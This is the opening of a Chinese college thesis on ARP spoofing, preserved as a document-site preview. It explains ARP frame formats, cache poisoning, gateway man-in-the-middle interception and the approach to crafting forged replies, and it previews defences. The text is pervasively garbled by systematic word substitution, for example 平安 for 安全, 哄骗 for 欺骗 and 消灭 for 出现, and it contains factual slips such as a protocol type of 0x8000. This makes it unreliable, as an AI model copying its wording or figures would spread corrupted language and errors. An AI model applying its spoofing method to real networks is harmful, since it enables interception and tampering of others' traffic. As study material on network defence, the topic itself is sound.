ARP病毒的攻击与防范大学论文_第1页
ARP病毒的攻击与防范大学论文_第2页
ARP病毒的攻击与防范大学论文_第3页
ARP病毒的攻击与防范大学论文_第4页
ARP病毒的攻击与防范大学论文_第5页
已阅读5页,还剩37页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

4XXXXXXXX专科毕业设计(论文)题目ARP病毒的攻击与防范同学姓名专业班级学号系别指导老师(职称)

ARP病毒的攻击与防范摘要ARP攻击是指黑客利用ARP协议缺陷的基本原理,通过在区域内一台终端或服务器上发布哄骗ARP广播包以达到进行盗取用户帐号、篡改网站内容、嵌入恶意代码、发布不良信息、监听传输数据等非法活动的目的.ARP哄骗原理在过去常被运用到简洁的拒绝服务攻击中。然而,随着大量缺乏管理且使用者流淌性较大的网吧与其他公共上网环境的普及,互联网上开头消灭很多由ARP基本攻击与侦听、网页篡改等黑客技术相互结合的攻击方式。这种ARP攻击之所以能在各类公共上网设施内飞快扩散是由于在拥有上千台机器的公众上网环境或对外服务的IDC托管机房中,同一网段中往往有着来自不同单位或不同人群使用的各类终端与服务器,由于其中各类系统的平安责任点归属简洁、使用人员流淌性大,造成环境内平安管理漏洞较大、平安盲点较多,从而使新一代以ARP哄骗为基础的网页挂码或重定向攻击得以滋生。而且,ARP攻击相对与通常攻击方式可能造成的更大的破坏在于:一般来说IP地址的冲突可以通过多种方法和手段来避开,而ARP协议工作在更底层协议上,隐蔽性更高。系统并不会推断ARP缓存的正确与否,无法像IP地址冲突那样给出提示。很多黑客工具可以随时发送ARP哄骗数据包和ARP恢复数据包,这对于公众上网环境来说,就可以在任何权限的终端计算机上通过发送ARP数据包的方法来掌握网络中任何一台计算机甚至服务器或网络设备的网络连接、侦探通讯数据、篡改数据包以加入病毒代码或不良信息进行传播。黑客还可以最大化的利用ARP哄骗原理,将其与其他攻击方法组合后运用于多种攻击,如,侦听、拒绝服务、挂载病毒等.从而达到多种攻击目的,如:窃取信息、病毒传播、破坏网络路由,暴力广告等等。本文通过现象分析逐步推测出ARP的攻击原理。随后通过对ARP数据帧格式的解析,证明白ARP协议漏洞是可以被用作ARP哄骗。在探讨ARP攻击的防御措施时,文章从MAC地址集中管理、ARP数据包探测以及系统平安加固三方面进行论述。对于公众上网环境中存在可被ARP攻击的漏洞进行分析,并对整体防御构架进一步探究.关键词ARP攻击/ARP协议/平安防护 目录TOC\o"1—3"\u第1章绪论 11。1引言 11.2讨论背景及意义 21.3本文讨论内容和组织结构 3第2章ARP攻击原理综述 32。1ARP工作原理 32。1.1以太网中的ARP协议简介 32。1.2ARP协议原理 42.2ARP攻击的危害 62.3ARP攻击程序结构 72。4ARP协议缺陷 82。5ARP表的操作方法 122.6ARP伪造帧格式 132.7网关出口上的ARP哄骗 20第3章ARP哄骗攻击的实现 223.1构造ARP哄骗帧 223。2发送ARP哄骗帧 283.3同时发向两台机器的“Man-In-The—Middle" 293。4IP数据包的转发 313。5侦听 353.6用ARP攻击WINDOWS系统 353。7对交换机攻击 353。8挂载病毒 36第4章ARP哄骗攻击防范 384。1ARP防护整体布局思路 384.2计算机系统平安加固 404.3ARP杀毒软件 404.4ARP攻击探测器 414.5MAC地址集中管理 424。5。1传统的交换机MAC地址管理 434。5.2基于地址扫描的MAC中央管理 43总结结论 45致谢 46参考文献 46 第1章绪论1.1引言网络平安问题始终是网络进展中的突出问题,2008年5月公安部公共信息网络平安监察局举办的2008年度信息网络平安状况与计算机病毒疫情调查结果显示,我国信息网络平安大事发生比例为62。7%,计算机病毒感染率下降为85.5%,感染计算机病毒、蠕虫和木马程序的情况仍然最为突出,其次是网络攻击、端口扫描、垃圾邮件和网页篡改。在发生的平安大事中,攻击或传播源涉及内部人员的达到54%,比去年激增了15%;涉及外部人员的却锐减了18%。由此可见,计算机病毒对网络平安的影响仍然很大,发生在局域网的网络平安问题也更为突出,因此,网络平安形势照旧严峻。网络的飞速进展转变了人们的工作和生活,在带来便利的同时也带来了很多麻烦.由于网络平安问题的日益突出,使得计算机病毒、网络攻击和犯罪频繁发生。依据国家计算机病毒应急处理中心发布的《中国互联网网络平安报告(2009年上半年)》中的数据显示,2009年上半年,国家互联网应急中心(CNCERT)通过技术平台共捕获约90万个恶意代码,比去年同期增长62。5%。每年都有相当数量具有肯定影响力的新计算机病毒消灭,它们造成的破坏和损失也更大,人们花费在病毒防治方面的精力和技术也越多。如2008年ARP(AddressResolutionProtocol)病毒就表现很突出,江民公司发布的《07年上半年病毒报告及十大病毒》中ARP病毒排名第四,瑞星公司发布的《2007年上半年电脑病毒疫情和互联网平安报告》中ARP病毒排名第六。造成信息和网络平安问题的因素很多,主要可归纳为两方面。一方面是技术方面的问题,目前的计算机操作系统和应用软件或多或少存在肯定的平安漏洞,而攻击者恰恰利用了这些漏洞,由于计算机病毒防治技术相对要落后于病毒攻击,因此会造成病毒在肯定范围内扩散;另一方面是管理方面的问题,由于管理人员的技术水平不足和管理不善造成的平安问题也层出不穷,系统漏洞修复的滞后和平安防护措施的不够给攻击者供应了机会。再加之,互联网是一个开放的系统,任何微小的漏洞和病毒都会快速扩散,甚至殃及全球,因此网络平安问题不容忽视。ARP病毒很大程度上是由于技术方面的问题而导致的,因此,可以通过技术改进加以防范.1.2讨论背景及意义ARP协议是一个基础协议,它的应用格外广泛。ARP由口层复用,用于解析局域网内任意合法第3层协议地址和第2层硬件地址之间的映射关系。ARP协议工作在局域网中,早期的协议设计者认为局域网是可信赖的,同时为了考虑传输效率,没有加入平安机制。现在的网络规模已经今非昔比,局域网已经不再是原始意义上的局域网络,但ARP协议仍然扮演着同样重要的角色,攻击者正是利用了这一特点,利用该协议实现攻击目的。ARP哄骗攻击通过伪造IP地址和MAC地址映射来实现,它造成目标主机ARP高速缓存信息错误,从而影响网络通信、实施网络哄骗。目前,“ARP”骗技术正在被越来越多的病毒所使用,成为局域网平安的新杀手。《病毒预报》(2008—2009)报道,国家计算机病毒应急处理中心通过互联网络监测发现,一种新型“地址解析协议哄骗"(简称:ARP哄骗)的恶意木马程序的正在互联网络中传播,并且它会在局域网络中寻找网络数据响应包,在包内加入恶意木马程序的代码信息,最终导致局域网中用户计算机系统感染木马程序,使得计算机系统中的信息篡改或丢失。该“ARP哄骗”的恶意木马程序入侵某个局域网中的计算机系统后,它会试图通过“ARP哄骗”手段截获所在局域网络内其它计算机系统的通信信息,导致该局域网消灭突然掉线,过一段时间后又会恢复正常的现象.同时,网内的其他计算机系统也会受到影响,消灭IP地址冲突、频繁断网、扫瞄器频繁出错,以及一些系统内常用软件消灭故障等现象。除外,它会对局域网络中全部的数据包进行分析,过滤出网页扫瞄恳求的应答数据包,并在数据包里面插入恶意代码,一旦计算机系统中的IE扫瞄器存在漏洞,那么计算机用户扫瞄网页的同时就会自动下载并运行恶意木马程序。“ARP哄骗”类恶意木马程序的危害性比较大,格外是对校内网、网吧等局域网会造成大范围的破坏和影响,轻则影响网络使用,重则导致网络瘫痪,是个不容忽视的问题。目前,很多讨论者已经给出了针对ARP哄骗攻击的防治方法,在肯定程度上削减了ARP问题的发生,这类方法主要是通过保护ARP高速缓存等方法来实现,它们没有从根本上解决ARP哄骗问题,由于ARP哄骗问题的发生是由于ARP协议本身存在在不行信网络中运行的漏洞.本文将从ARP协议本身动身,分析ARP协议的不平安因素,并针对存在的问题给出解决的简略方法,达到从根本上解决ARP病毒问题的目的。1。3本文讨论内容和组织结构本文主要目的是通过讨论ARP协议缺陷,来阐述ARP攻击原理.然后依据此原理剖析ARP侦听、病毒挂载等众多攻击手段。文章的创新点在于阐述了MAC地址绑定等常用方法只能针对单机防护,而在大型公众上网环境中必须以MAC地址集中管理、ARP广播包探测等综合管理手段相帮助,进行整体防护。文章最后以上海东方数字社区为实例说明综合防护手段的实施方法。第一章绪论。本章介绍了本文的课题讨论背景,阐述了课题的讨论目的以及意义,然后说明白本文的主要创新点和全文结构。其次章ARP攻击原理综述。本章首先用实例说明ARP攻击的危害性,然后简略介绍ARP协议概念、ARP帧结构、以及其他相关概念。此章最后论证了ARP协议缺陷是ARP攻击症结所在.第三章ARP哄骗攻击的实现。本章通过Socket程序代码说明如何实现ARP哄骗攻击,然后通过程序代码叙述D.O.S拒绝服务攻击、侦听、病毒挂载、Windows系统攻击、交换机攻击等多种混合类攻击的实现原理。第四章ARP哄骗攻击的防范.针对如何在拥有上千个终端大型社区网络中有效防止ARP攻击扩散,本章比较了常用的MAC地址绑定、系统平安加固等方法指出要在大范围内防止ARP攻击需要用综合手段,并提出ARP攻击探测、MAC地址中央管理等适用于大型网络的新方法.第五章总结与展望。本章对全文的讨论工作进行总结,提出了主要结论,并介绍了课题今后进一步的改进和进展方向。第2章ARP攻击原理综述2。1ARP工作原理2。1。1以太网中的ARP协议简介IEEE的802标准委员会和802项目组定义了两种主要的LAN传输方法—-以太网和令牌环网。以太网在IEEE802。3规范中被定义为LAN标准,令牌环网则在IEEE802。5规范中定义。这两种方法的使用范围都很广泛,本文的讨论针对以太网进行.以太网利用了总线和星形拓扑结构的优点,采纳了CSMA/CD技术,网络上想要发送帧的结点与另外的结点竞争资源,没有哪个结点的优先级比其他结点高,帧依据物理地址查找其特定的目标,以太网通过一个广播信道向全部结点发送数据,处于同一广播域的结点都会收到该数据。虽然每台主机都由一个IP地址,但是IP地址是运行TCP/IP协议机器的通用标识,IP地址自身不能使报文到达其目的地,数据传输必须依靠网络适配器唯一的硬件地址,该地址也被称为MAC地址或者数据链路地址,该地址通常在网络适配器生产厂家唯一编址,具有全球唯一性。以太网中的硬件地址采纳48位长度表示,ARP协议为IP地址到对应的硬件地址之间供应动态映射脚,因此,担负IP地址和硬件地址转换的ARP协议具有格外重要的地位。2。1。2ARP协议原理ARP协议起初是为DEC/Intel/Xerox的10兆以太网设计的,现在已允许用在其它类型的网络上。当来自上层的数据要发送时,需要知道目标主机的硬件地址,这时就需要通过IP地址找到相应的硬件地址,网络接口输出函数会调用ARP协议进行ARP解析。ARP解析函数发送ARP恳求(作为广播包发送),目标主机收到ARP恳求后发送ARP应答(作为单播包发送),当发送主机收到ARP应答后就可发送数据.为了避开频繁发送ARP恳求和应答,实现时在主机中都会有一个ARP高速缓存用来存放已经解析成功的ARP信息,所以通常数据发送前先查找ARP高速缓存,找不到时才会发送ARP恳求.2。1.2.1ARP分组格式RFC826定义了ARP分组的格式,在以太网上使用的ARP分组格式见图2-1。该分组由以太网首部和以太网ARP字段两部分组成。.图2-1ARP的分组格式(1)以太网首部:以太网首部包括以太网目的地址、以太网源地址和帧类型三部分,以太网目的地址是通信目的端的MAC地址,长度为48位,目的地址为全1是广播地址,这时,电缆上的全部以太接口都要接收此数据并进行处理。以太网源地址是通信源端的MAC地址,长度为48位。帧类型表示以太网首部所携带数据的类型,如果是IP帧则为0x0800,如果是ARP帧则为0x0806。(2)以太网ARP字段:包括ARP首部和ARP数据两部分。其中ARP首部包括硬件类型、协议类型、硬件地址长度、协议地址长度和操作码五部分,硬件类型字段值为1表示是以太网地址,协议类型字段值为0x8000表示IP地址,硬件地址长度为6表示是以太网硬件地址,协议地址长度字段值为4表示是IP地址,操作码指出了ARP操作的四种类型,其中ARP恳求值为1,ARP应答值为2,RARP恳求和应答分别人3和4(可参见RARP协议的相关资料,本文不进行介绍);ARP数据部分包括了发送方硬件地址、发送方IP地址、目的硬件地址和目的IP地址,它们依据不怜悯况进行填充,ARP恳求包填充除目的硬件地址以外的全部数据,而ARP应答数据则填充全部数据。2.1。2.2ARP发包和收包流程(1)发包①当网络层往下传来一个包,路由选择将确定该包下一跳的协议地址(目的主机的口地址),为了正确发送该数据包,必须知道目的主机的硬件地址,这时就需要进行IP地址至MAC地址的解析,为此需要发送ARP恳求,即发送一个帧类型字段为0x0806的以太网包,该包中以太网目的地址全为1(ARP恳求以广播形式发送),除了目的硬件地址外全部填充,其中以太网源地址、发送者硬件地址和发送者IP地址填充本机的信息,ARP操作码填充1,协议地址长度填充4,硬件地址长度填充6,目的IP地址填充路由确定的下一跳协议地址,目的硬件地址的值是想要得到的值。ARP恳求包会被广播到全部在以太网电缆上的主机,如果目的主机得到该ARP恳求包则会发送一个ARP应答包,如果肯定时间没有收到ARP应答包,则会连续发送若干次,如果还没有收到应答包,则认为该主机不行达到,停止发送ARP恳求。为了提高通信效率,通常主机中会保存已经解析到的IP和MAC地址的映射,通常称之为ARP高速缓存。它保存了IF索引(物理接口索引)、IP和MAC地址的映射,以及该映射的类型信息等,类型有4种可能的值,值2意味着表项是无效的,值3意味着映射是动态的(表项可能转变),值4说明是静态项(表项不变化),值1意味着不是上面的任何一种情况。动态表项有肯定的生存期,动态ARP表项如果在肯定时间没有被使用,则会因超时被删除,如果在生存期内被使用,则生存期会被重置为最大值。通常,在数据发送前先会查找ARP高速缓存寻找相应的MAC地址,如果没有找到才会发送相应的ARP恳求。②免费ARP主机在启动时会主动发送一个ARP恳求包,该包中发送端的协议地址和目的端的协议地址全都.免费ARP包可以检测在以太网中是否存在IP地址冲突,可以使其他机器更新其相应信息,使得网络通信快速恢复.如果发送免费ARP的主机正好转变了硬件地址(有可能是更换网络适配器,然后重新启动),那么这个免费ARP就可以使其它主机ARP高速缓存中旧的硬件地址进行相应的更新.(2)收包①当接口收到ARP恳求包后会进行检查,检查该包的硬件地址类型及长度和协议地址类型及长度是不是符合本接口,如果符合,那么在ARP高速缓存中查找发送者IP地址相关的映射,如果找到一个相符的表项,那么更新此表项(掩盖原来的硬件地址为新的硬件地址)。②推断本机是不是通信的目标主机,如果是,并且没有进行过①中的更新,那么更新ARP高速缓存。③如果收到的是一个ARP恳求,那么生成一个相应的ARP应答包,并且将这个ARP应答包发送给对方,ARP应答包以单播的形式发送,它填充了ARP包中的全部内容。2。2ARP攻击的危害ARP哄骗不同于通常攻击可造成的巨大破坏。ARP哄骗可以造成内部网络的混乱,某些被哄骗的计算机无法正常访问内外网,让网关无法和客户端正常通信。实际上他的危害还不仅仅如此,一般来说IP地址的冲突我们可以通过多种方法和手段来避开,而ARP协议工作在更低层,隐蔽性更高。系统并不会推断ARP缓存的正确与否,无法像IP地址冲突那样给出提示.而且很多黑客工具,可以随时发送ARP哄骗数据包和ARP恢复数据包,这样就可以实现在一台一般计算机上通过发送ARP数据包的方法来掌握网络中任何一台计算机的网络连接截获其通讯数据并可做篡改以加入病毒代码进行传播,甚至还可以直接对网关进行攻击,让全部连接网络的计算机都无法正常上网。这点在以前是不行能的,由于一般计算机没有管理权限来掌握网关所以说。ARP哄骗的危害是巨大的,而且格外难应付,非法用户和恶意用户可以随时发送ARP哄骗和恢复数据包,这样就增加了网络管理员查找攻击源的难度。归纳ARP哄骗类攻击的危害性如下:(1)攻击点范围广:不需要攻占简略服务器,在不获得目标主机的权限的条件下,只要在网络环境的任何一个点上安放一台“肉机”便可以感染整个网段;(2)攻击格外隐蔽:不需要改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入病毒的代码;(3)发觉困难:如没有机房网络管理人员协助协查,服务器系统管理员光靠系统日志无法在短时间内找到攻击源;(4)恢复简洁:网站管理员即时发现被攻击后,但是从系统层面上无法自己清除;(5)攻击手段变化多样:黑客可以最大化的利用ARP哄骗,将他与其他攻击方法组合后运用于多种攻击,如,侦听、拒绝服务、挂载病毒。从而实现多中攻击目的,如:窃取信息、病毒传播、破坏网络路由,暴力广告等等;2.3ARP攻击程序结构随着互联网的进展,ARP攻击已经从早期简洁模式,即发送ARP回应包使收哄骗机器无法上网进展到不只是对ARP协议层的攻击。攻击者利用ARP信任局域的重大缺陷作为突破口,并通过一系列数据包转发的方法模拟出正常的通讯手段来哄骗数据收发双方,然后作为一个透明的网关在当中进行监听与数据伪装的方法.图2—2ARP攻击的结构框架图整个攻击的结构如图2—2所示,全部ARP类攻击的核心原理是ARP协议MAC地址哄骗。在数据链接层MAC地址哄骗基础上使用类似于路由器的数据包转发技术可形成对攻击目标的网络数据侦听。然后便可以与各种攻击方式相互结合,达到数据篡改、数据监听、停止服务攻击,以及病毒挂载的目的。2。4ARP协议缺陷ARP攻击的突破口是ARP协议缺陷,为了说明黑客程序是如何进行ARP哄骗进而修改ARP表,首先需要讨论ARP协议的工作原理.ARP协议是“AddressResolutionProtocol”(地址解析协议)的缩写。位于OSI网络七层模型中的其次层—数据链路层。在数据链路层中网络中实际传输的封装数据包为数据“帧”,帧的传播寻址方法是依靠目标主机的MAC地址.在以太网中,一个主机要和另一个主机进行直接通信,必必要知道目标主机的MAC地址。这个目标MAC地址是通过地址解析协议获得的.Internet上常用到DNS域名解析是将IP地址与域名对应起来,而数据链接层的“MAC地址解析”原理与DNS相像,其实就是将网卡的MAC硬件地址与IP地址对应,整个“MAC地址解析”的过程其实就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。而ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。

图2—3互联网名字解析协议原理在图2—3所示的互联网名字解析方法中,每台使用TCP/IP协议上网的电脑内部都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。这个高速缓存存放了最近Internet地址到硬件地址之间的映射记录。高速缓存中每一项的生存时间一般默认为20分钟(可通过注册表修改),缓存的起始时间从被创建时开头算起。ARP缓存表下图所示。图2—4ARP缓存表举例说明IP—MAC地址表转换工作原理。在192.168。1。0网段中有四台主机,每台主机都会存有一张IP—MAC地址对比关系如表2—2.表2—1IP-MAC地址对比关系依据表2-1的配置,以主机A(192。168.1。1)向主机B(192.168.1。2)发送数据为例。当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址.如果找到了,也就知道了目标MAC地址,直接把目标MAC地址写入帧里面发送就可以;如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“FF。FF。FF。FF.FF.FF”,这表示向同一网段内的全部主机发出询问:“192。168.1.2的MAC地址是什么?"网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应:“的MAC地址是“bb—bb—bb—bb-bb-bb"。这样,主机A就知道了主机B的MAC地址,它就可以向主机B发送信息了.同时它还更新了自己的ARP缓存表,下次再向主机B发送信息时,直接从ARP缓存表里查找就可以了。ARP缓存表采纳了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可以大大削减ARP缓存表的长度,加快查询速度。整个ARP查询过程如图2—5所示.图2-5正常ARP查询流程从图2—5中可以发现,ARP协议存在一个重大的缺陷:每台主机的ARP表的更新是信任广播域内全部机器的回应包的,也就是在说在ARP协议中,接受回应帧的主机无法验证回应包的真伪。所以,在ARP协议中就很容易实现在以太网中的ARP哄骗。在表2—1所示环境,对目标A进行哄骗.C发出ARP回应数据帧到A,告知A“B的MAC地址是CC—CC—CC-CC-CC”,A接受了假回应包,但是无法验证,于是就将自己的缓存更新了.结果,A去Ping主机B却发送到了CC—CC-CC-CC-CC这个地址上。如果进行哄骗的时候,把B的MAC地址哄骗为CC-CC-CC-CC-CC-CC,于是A发送到B上的数据包都变成发送给C的了。如此一来C能够接收到A发送的数据桢,数据桢的截获成功。由于ARP缓存表项是动态更新的,其生命周期默认是两分钟,如果再没有新的信息更新,ARP映射项将会自动去除。所以,如果要保持A上的错误信息,C接下来要做的就是始终连续不断地向A和B发送虚假的ARP响应数据帧,让A的ARP缓存中保持被篡改了的映射表项。图2-5ARP哄骗的流程图2-5演示了如何运用ARP协议固有的缺陷对其进行哄骗,但是仅仅这种哄骗并不能完成对A与B之间数据交换的窃听与篡改,缘由是,光有其次层的哄骗是不够的,在建立起数据连接层哄骗后,虽然A对这个变化一点都没有意识到,但是接下来在进行网络层TCP/IP握手以及应用层会话建立时由于C上并没有能仿照B的应用端口监听,所以A和C是无法建立连续连接的,通常当TCP/IP三次握手不成功时,A与C的接将断开,C对接收到A发送给B的数据包可没有转交给B。这种攻击最多也就造成A与B之间连接中断,无法造成更大危害.本章介绍数据链接层协议中ARP协议的先天缺陷,也是整个ARP哄骗攻击的突破口。2.5ARP表的操作方法2。4中指出了ARP哄骗的突破点-ARP协议缺陷,可见对计算机内部ARP缓存表的修改是ARP哄骗的关键所在.在大多数的TCP/IP实现中,ARP是一个基础协议,但是它的运行对于应用程序或系统管理员来说一般是透明的。ARP高速缓存在它的运行过程中格外关键,系统管理员可以用ARP命令对高速缓存进行检查和操作。高速缓存中的每一项内容都有一个定时器,依据它来删除不完整和完整的表项.ARP命令可以显示和修改ARP高速缓存中的内容。下面说明操作系统中对ARP缓存表的基本操作方法.(1)ARP命令的使用:进行ARP哄骗攻防的基本操作是使用Windows的命令ARP来实现IP地址和MAC地址的映射与绑定.比如在WindowsXP的命令提示符窗口中键入“arp-a”或“arp—g"可以查看ARP缓存中的内容;键入“arp—dIPaddress”表示删除指定的IP地址项(IPaddress表示IP地址).arp命令的其他用法可以键入“arp/?”查看到。(2)ARP命令其他参数的功能:超级用户可以用选项-d来删除ARP高速缓存中的某一项内容。另外,可以通过选项-s来增加高速缓存中的内容。这个参数需要主机名和以太网地址:对应于主机名的IP地址和以太网地址被增加到高速缓存中。新增加的内容是永久性的(比如,它没有超时值),除非在命令行的末尾附上关键字temp.位于命令行末尾的关键字pub和—s选项一起,可以使系统起着主机ARP代理的作用.系统将回答与主机名对应的IP地址的ARP恳求,并以指定的以太网地址作为应答.如果广播的地址是系统本身,那么系统就为指定的主机名起着委托ARP代理的作用。(3)特殊类别ARP的操作:委托ARP(当路由器对来自于另一个路由器接口的ARP恳求进行应答时)和免费ARP(发送自己IP地址的ARP恳求,一般发生在引导过程中).微软的ISAServer中没有供应对于MAC地址的掌握功能,这是由于MAC地址只能在本地网络中使用,当数据包跨越路由器时,数据包中主机的源MAC地址就会被路由器的出站接口的MAC地址所代替,这个时候,使用MAC地址来进行掌握就不适用了。所以只要是企业级的硬件或者软件防火墙,都基本没有供应对MAC地址的掌握功能。不过在Windows中,如果安装了TCP/IP网络协议组件,就可以执行命令ARP。ARP命令的作用是查看本机的ARP缓存、静态绑定IP地址和MAC地址和删除静态绑定项。其实绑定IP地址和MAC地址的本意是为了削减ARP广播流量,只是可以利用这一功能来掌握IP地址的使用。(4)不同操作系统中ARP设置的差异:在Windowsserver2003和XP以前的WINDOWS系统中,就算设置了静态MAC地址绑定项,同样会通过接收其他主机的数据包而更新已经绑定的项.而在Windowsserver2003和XP中,静态绑定的项不会被动态更新,直到TCP/IP协议终止为止,例如重启计算机.如果要创建永久的静态MAC地址绑定项,可以写一个脚本文件来执行ARP静态绑定,然后使用计划任务在启动计算机时执行该脚本即可。(5)ARP高速缓存超时设置:在ARP高速缓存中的表项一般都要设置超时值.默认情况下ARP缓存的超时时限是两分钟,如果再没有新的信息更新,ARP映射项会自动去除。所以,为了保持A与C被修改的ARP表,B始终连续不断地向A和C发送这种虚假的ARP响应包。可以在注册表中进行修改.可以修改的键值有两个,都位于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesTcpip\Parameters。键值1:ArpCacheLife,类型为Dword,单位为秒,默认值为120。键值2:ArpCacheMinReferencedLife,类型为Dword,单位为秒,默认值为600这些键值默认是不存在的,如果想修改,必须自行创建。修改后重启计算机后生效。如果ArpCacheLife的值比ArpCacheMinReferencedLife的值大,那么ARP缓存的超时时间设置为ArpCacheLife的值。如果ArpCacheLife的值不存在或者比ArpCacheMinReferencedLife的值小,那么超时时间设置为120秒.对于正在使用的ARP缓存,超时时间则设置为ArpCacheMinReferencedLife的值。2。6ARP伪造帧格式在ARP攻击中,黑客是运用ARP协议缺陷更改ARP缓存表的。要发动ARP哄骗攻击需要获得ARP恳求与应答帧的格式。ARP帧使用是工作在数据链接层的协议,它也可以用于其他类型的网络以解析IP地址以外的地址(报文第13、14两字节的“帧类型"以及15、16字节“硬件类型"以及17、18字节“协议类型"说明白解析的是什么网络)。对于ARP攻击我们仅讨论在以太网地址解析时的格式.ARP恳求和应答帧的格式如图2-7所示:图2-7ARP数据帧格式(1)如图2-7所示,以太网报头中的前两个字段是以太网的源地址和目的地址.在以太网首部最后两个字节长的以太网“帧类型”表示后面数据的类型。在表示ARP恳求或应答时该字段被设置成“0x0806".(2)头部后面的2字节的“硬件类型”和两字节的“协议类型”用来描述ARP分组中的各个字段。在以太网的解析中,一个ARP恳求分组询问“协议类型”填写IP(0x0800即表示IP),硬件类型填写以太网(值为1即表示以太网).这些类型字段的值在以太网数据帧中是固定的。(3)第19与20字段的两个1字节的字段,“硬件地址长度”和“协议地址长度"分别指出硬件地址和协议地址的长度。当用于在以太网上进行IP地址的ARP查询时,“硬件地址长度"的值为6,“协议地址长度"为4。注意:此处是以字节为单位。(4)接下来的OP为“操作字段”,可以选择四种操作类型,分别是ARP恳求(值为1)、ARP应答(值为2)、RARP恳求(值为3)和RARP应答(值为4)。由于在ARP恳求和ARP应答时的“帧类型”字段值相同(都为0x0806),所以需要从这个字段来区分是恳求还是应答。(5)报文最后的四个字段将重复消灭发送与接受端的硬件地址(在以太网的数据帧报头中消灭过)。最后四个字段分别是:发送源以太网地址、目的地以太网地址、发送源IP地址以及目的地IP地址.(6)另外,由于ARP恳求或回答的数据帧长都是42字节(28字节的ARP数据加上14字节的以太网帧头),因此,每一帧都必须加入填充字符以达到以太网数据帧60字节的最小长度要求。表2-2ARP帧机构实验的IP—MAC地址对比关系(1)假设在表2—2网络环境中:A主机的IP地址为,它现在需要与IP为192.168。1。2的主机(主机B)进行通讯,那么将进行以下动作:(2)A主机查询自己的ARP缓存列表,如果发现具有对应于目的IP地址192.168。1。2的MAC地址项,则直接使用此MAC地址项构造并发送以太网数据包,如果没有发现对应的MAC地址项则连续下一步;(3)在A主机发出ARP解析恳求广播的过程中,A会发出一个目的MAC地址是FF:FF:FF:FF:FF:FF的ARP恳求帧,来恳求IP为的主机回复MAC地址;图2-8ARP恳求数据帧格式(4)B主机收到ARP解析恳求广播后,回复给A主机一个ARP应答数据包,其中包含自己的IP地址192.168.1。2和MAC地址bb-bb—bb-bb-bb—bb;图2—9ARP回复数据帧格式(5)A接收到B主机的ARP回复后,将B主机的MAC地址放入自己的ARP缓存列表,然后使用B主机的MAC地址作为目的MAC地址,B主机的IP地址(192.168。1.2)作为目的IP地址,构造并发送以太网数据包.(6)如果A主机还要发送数据包给192。168.1.2,由于在ARP缓存列表中已经具有IP地址192。168。1。2的MAC地址,所以A主机直接使用此MAC地址发送数据包,而不再发送ARP解析恳求广播;当此缓存地址项超过两分钟没有活动(没有使用)后,此ARP缓存将超时被删除。以上是正常情况下ARP查询与回复的数据帧结构,如果使用ARP哄骗,从C发送伪造的ARP数据包,则当C收到一份目的端为B的ARP恳求广播报文后,C会把自己的硬件地址填进去,然后将目的端的MAC与IP地址写成发送源A的物理与规律地址,源MAC地址伪装成自己的地址,源IP地址填写B的IP。最后把操作字段置为2,发回数据帧。伪装的数据帧结构如图2-10示.图2—10ARP哄骗数据帧格式2.7网关出口上的ARP哄骗在公众上网环境的实际运行中,最大的威胁就是服务器在网关出口处被加入中间层哄骗服务器“man-in-the—middle”。利用上文所说的ARP哄骗报文以及ARP代理中存在的缺陷,可以在服务器和网关之间插入一个“伪造的网关”,在上面进行数据的重定向与篡改操作.目前,一般的交换网络对探测进行了限制,目的是限制探测的深化程度,让他被隔绝在局域网内部。但是,只要主机以及交换设备中的ARP缓存表仍然是动态的,利用ARP协议漏洞,仍然可以形成“man-in-the-middle”攻击方式。图2-14网关类ARP哄骗如图2-14示,主机C同时向主机A与网关B发出ARP应答数据包,之后主机A的缓存表中网关的MAC地址变成CCCCCCCCCCCC。所以当A要发出数据包时,他会将数据发往主机C,C又将数据包转发给网关B,由B转发到目的地网络。所以此时C相当与A的网关,插入A与B的路由之间,所以此时C能够收取A与公网之间的全部数据并可进行篡改.此时,相当于网络中的路由设备被黑客攻占了。第3章ARP哄骗攻击的实现3.1构造ARP哄骗帧在知道了ARP哄骗攻击的原理以及ARP数据恳求与响应帧格式后,接下来就是讨论如何通过编程实现ARP攻击黑客工具。在ARP攻击程序编写中,使用Parcket32开发包编写程序实现攻击。假设使用windows2000/XP系统,则在ARP协议并不只在发送了ARP恳求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会立即对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在表2-2示例的网络环境中,C向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192。168.1。2(B的IP地址),MAC地址是CC—CC-CC-CC—CC-CC(B的MAC地址原来应该是BB—BB-BB-BB—BB—BB,这里被用C的MAC地址伪造了)。当A接收到C伪造的ARP应答后,由于A并不知道地址是被C伪造的,就会更新自己的ARP缓存.现在192。168。1.2的MAC地址在A上被转变成了攻击源C的MAC地址。以下来讨论如何使用编程实现这样的ARP哄骗。编写哄骗程序的主要思路是:首先,构造一个ARP数据包,其中包含目标主机的IP地址与哄骗主机的MAC地址;然后,将这个arp数据包利用底层API驱动发送到A机器,致使A修改自己的缓存。ARP报文使用是工作在数据链接层的协议,所以可以用于其他类型的网络以解析IP地址以外的地址(报文第13、14两字节的“帧类型"以及15、16字节“硬件类型”以及17、18字节“协议类型”说明白解析的是什么网络).在以太网上解析IP地址时,ARP恳求和应答分组的格式如图2—8所示,以太网报头中的前两个字段是以太网的源地址和目的地址。在以太网首部最后两个字节长的以太网“帧类型"表示后面数据的类型。在表示ARP恳求或应答时该字段被设置成“0x0806”。头部后面的2字节的“硬件类型”和两字节的“协议类型”用来描述ARP分组中的各个字段.在以太网的解析中,一个ARP恳求分组询问“协议类型”填写IP(0x0800即表示IP),硬件类型填写以太网(值为1即表示以太网)。这些类型字段的值在以太网数据帧中是固定的.第19与20字段的两个1字节的字段,“硬件地址长度”和“协议地址长度"分别指出硬件地址和协议地址的长度.当用于在以太网上进行IP地址的ARP查询时,“硬件地址长度”的值为6,“协议地址长度”为4.注意:此处是